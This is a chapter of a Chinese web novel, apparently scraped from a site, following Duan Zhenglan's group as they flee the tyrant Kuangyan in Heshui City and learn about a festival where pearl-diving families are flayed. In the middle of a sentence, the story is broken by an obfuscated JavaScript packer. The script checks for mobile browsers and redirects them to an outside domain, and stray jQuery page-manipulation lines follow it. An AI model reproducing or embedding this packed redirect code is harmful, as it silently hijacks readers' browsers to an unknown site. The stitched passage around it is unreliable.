稀粥见底，搅和几下，甚至看不见米粒。


    糙面窝头只剩下一瓣。


    段争澜站起身，推门远望街边。


    “澜君，你不吃了吗？”温卓然用筷子按住那块仅剩的窝窝头，用眼神警告陈迁，休想打它的主意。


    段争澜转过头，看到的就是这副让人啼笑皆非的抢食画面。


    “你们俩分了吃，我不饿。”她无奈道，若不开口，温卓然决计不会把东西先分给旁人的。


    “可是……”


    “你俩可是武将，不吃饱，手无缚鸡之力，怎么保护主上？”


    几人这边对窝窝头归属权的讨论还没个结果，门外便传来激烈的破口大骂。


    “你是乞丐吗？弄成这样？赔钱玩意！”


    满身泥点子到处跑的孩童们，被父母提着耳朵薅回家。


    段争澜一行几人正借宿在一家老夫妻院中，他们曾有三个孩子，早些年因为采珠染上的寒病，相继壮年去世。


    这些幼童倒不是主人家的孙辈，全是路旁左邻右舍家里跑出来的。


    至于为什么段争澜一开门，就正对着大街……


    这间牛棚，是靠段争澜一只玉镯，加上温卓然和陈迁轮流给主人家看门防贼，才勉强保住的。


    临街喧闹，本来是最劣等的环境。


    但换个角度来看，这里也是附近观察消息最为方便的地方，除了气味有些难闻……


    “不是胡闹！这几天好多人都在唱呢，唱得最好的小孩可以拿到细面馒头吃！爹爹你听好了——”


    段争澜隐在门后，如愿听见自己写的打油诗被孩子清脆的童声念出。


    “呸呸呸，什么‘采珠三百夜’，你又不是采珠户的儿子！”


    原来鹤水城不是所有人家都采珠，鹤川水中的珍珠，不是谁都有家传本事，可以潜到水下，从龙王手中窃取的。


    采珠户用鹤水珠抵消赋税，却受到狂堰的层层盘剥，因此其数量已经越来越少。


    段争澜一出门便遇上这家老夫妻，他们世代为曾经的采珠户。


    她便先入为主地认为，鹤水城全民皆为采珠受害的百姓。


    这下看来，童谣的受众没有那么多……


    主题定错了吗？


    段争澜暗自叹息一声，一言不发地掩门，准备重新对鹤水城进行深入观察。


    可惜她们一行人吃不饱穿不暖，哪里来的办法让其他百姓开门，给自己讲城中情况？


    “雾月祭就要到了，你可别在外边乱跑，听到没有？”


    “再作妖，为一口吃的唱这种大不敬的东西，小心被河神捉走！”


    段争澜又听见这几句，不由得竖起了耳朵，仔细分辨其中内容。


    雾月祭？


    此时已近秋季，鹤水城冬季漫长、春季短暂，秋季多雾。


    难道雾月祭说的是秋季的一种习俗吗？


    段争澜想要追上去听个究竟，街边人却眨眼就散开，根本寻不到踪迹。


    “……”


    她有些气闷，人倒霉的时候真是喝凉水都塞牙。


    ——


    “你要问雾月祭？”老婆婆在月光下，把段争澜取出的金珠看了又看。


    提到雾月祭，她的语气骤然从前边的兴奋变为凝重，语调都放低了。


    “是，这是什么日子？”


    “惩罚没有完成任务的采珠户。”老婆婆颤着手，把金珠宝贝地塞进自己的布口袋里，“就在这一天……”


    冬季水寒，蚌珠已成，正是采珠的好时节。


    狂堰就在进入冬季前的深秋进行雾月祭，用以鞭策今年冬将要下水的珠民。


    上一年没有缴足分量的采珠户，已经被关押起来的采珠户——


    就在雾月祭这一天，被杀鸡儆猴。


    其他百姓看不见的惨况，在采珠户这里就是每年一度的屠戮。


    狂堰果真如段争澜随手编造的歌谣一般，会剥皮做鼓。


    不像方才孩童的美好想象。


    雾月祭上，剥去上一年“罪人”之皮，才是唯一的剧目。


    段争澜垂眸凝眉，她们所剩的时间不多。


    无论是雾月祭，还是几人返回王庭的计划，都是迫在眉睫。


    “狂堰似乎听到风声了。”陈迁手里提溜着一只野兔，从屋外返回。


    “什么意思？”


    “澜君写的鹤川哭，狂堰肯定是听过多遍了。”


    “现在正派人四处追杀咱们呢。”陈迁摊手。


    ——


    “大人，您已经连着三日在书房……”


    丁盐恭敬地守在门外，尝试劝谏的话刚说一句，便被“咔嚓”一声陶瓷碎裂的声音止住。


    不眠不休，还日日上早朝，这就算是铁人，那也扛不住啊。


    陈元旷一手撑在桌上，摇摇晃晃地站起来。


    他根本没听见门外丁盐的呼唤，方才的茶杯，是失手打破的。


    陈元旷原本伸出去够茶杯的指尖颤抖着，揪住胸前衣料，一阵一阵心悸袭来。


    他不是没有忍受过她不在身边的日子，知道该怎么自欺欺人地活。


    只是梧国之内大事将成，加上……


    加上他有一种不太妙的预感。


    上一次他派陈迁去找人，这次人家直接跟着走了，连解药都不顾。


    也许陈迁也看不惯他这个做兄长的荒唐举动。


    陈元旷闭了闭眼，将需要温水送服的药丸生咽了下去，咳了几声。


    “随我入宫。”


    “现在？”丁盐的眼皮跳了跳，不知该为大人终于说话高兴，还是该为这诡异的行程而惊讶。


    此时暮色四合，宫门宵禁，如何入得宫去？


    丁盐小心翼翼地瞥了一眼太师腰间的令牌，陈元旷确实是可以违禁入宫的，但他向来谨小慎微，未曾做出过如此逾矩之事。


    还有那令牌旁边的红绿配色剑穗……哦不对，是佩剑。


    丁盐强行转移目光，让自己的注意力集中到眼下更重要的地方上。


    剑履上殿，以陈元旷如今的权势，完全可以在每日的早朝上如此，但他并没有。


    但今日是……？


    “大人，您要佩剑入宫，现在？”


    “你去吩咐备车。”陈元旷点了点自己的太阳穴，“我还没傻，知道自己在干什么。”


    ——


    “啾啾。”棕色点麻的雀鸟落在段争澜肩上。


    “散开行动，去城东那座破庙里汇合。”她轻轻碰了碰小麻雀的脑袋顶，如此吩咐道。


    “为何？”


    “它们给我报信，这地方还是不安全。”


    四下喧闹，温卓然靠得近了些，才能听清澜君的话。


    她们已经从被包围的牛棚逃出，辗转好几家民居，躲过酒楼后厨，最终跑到鹤水城中最热闹的一条街巷尾，一处拥挤的死胡同。


    这里是杂耍艺人的“班底”，也是无家可归叫花子的栖身之地。


    段争澜一行四人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494159|167943||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，在某种程度上，也属于“无家可归叫花子”行列。


    “可狂堰怎么会到此处寻人？”


    人多眼杂，大海捞针，成本奇高，还不一定能找到目标。


    “说明他真的被《鹤川哭》逼急了呗，病急乱投医，什么地方都要翻一遍。”陈迁吐出还在嚼的草根，他倒是很适应这种生活状态，没有温卓然的紧绷。


    “走罢。”段争澜眯起眼睛，仰面望见漫天尘沙，不是宁曲渡口那种仿佛要把万物割裂的狂风，只是阳光之下细微的灰尘。


    然而，空气确实加快了流动的速度。


    雀鸟仿佛感应到什么，往另一个方向惊飞离开。


    “起开，你们有见到——”


    陈迁懒懒地伸了个懒腰。


    几人再次踏上逃亡之路，澜君的雀鸟不止一次地报信，让她们先一步脱离险境。


    但，长久地躲下去，终究不是办法。


    “……夜夜河底添新骨，哭啊——”


    临走之前，段争澜甚至在那群街头艺人口中，听到了有音调的鹤川哭。


    尾音抑扬顿挫，甚是精彩。


    怪不得狂堰如此抓狂。


    鹤川哭都被自发谱曲改成歌谣了，传唱度比单纯的朗读，提高了不止一个台阶。


    推开城东郊外破庙的庙门，众人被穿堂而过的凉风激得一哆嗦。


    深秋季节，再熬就是寒冬了，等不及……


    “何人在此？”


    如同空谷传响，不止从庙内哪一个方位，传来幽幽的问话。


    “领主……”小函持续打着哆嗦，扯扯段争澜的衣角，“这里是不是闹鬼啊？”


    “别怕。”段争澜压低声音，“你想想狂堰那种人，人比鬼可怕。”


    “就算是鬼，还有我呢。”


    “说得好，施主不是鹤水城本地人氏吧？”


    阴影中，转出一双精光四射的眼睛。


    来人眼眶下陷，想来应当瘦骨嶙峋。


    随着此人一步步走到面前，段争澜注意到，他暴露在外的皮肤，分布着凌乱的划痕。


    方向大差不差，但深浅不一。


    “你是宁曲渡口来的神女，对不对？”


    “我们看到你在门口与鸟兽对话了。”


    “我们”——？段争澜悚然一惊，看似荒凉的庙内，顷刻间便同时冒出数十双一样的眼睛！


    温卓然抽出长剑，护在她身前。


    不过段争澜能看到，小温将军自己也在发抖。


    “没事。”她按住温卓然肩头，屏息等待着这群人真正展示全貌。


    段争澜骨血里本能的恐惧已经淡化，取而代之的是血液燃烧一般的兴奋。


    这些人对狂堰，有着近乎疯狂的恨意，她能感受得到。


    也许这次逃亡可以尽快结束了。


    段争澜的驯兽天赋，说起来玄乎，其实就是对这种血里流淌着的情感，有着超乎寻常的感知速度。


    鸟兽也有血肉，也有目标，也有想报复的对象。


    “你们恨狂堰？”


    段争澜开门见山，不愿在这常人看起来如同鬼魅显灵的场景里多拖延时间。


    她自己倒是算了，身边三个手下的心脏，还是要爱护一下的。


    “我们是他手下苟活的采珠户。”


    这下轮到段争澜疑惑了，“苟活”又是什么意思？


    “一户杀一人，狂堰从几年前起，便只要年轻人皮。”


    “我们的孩儿……”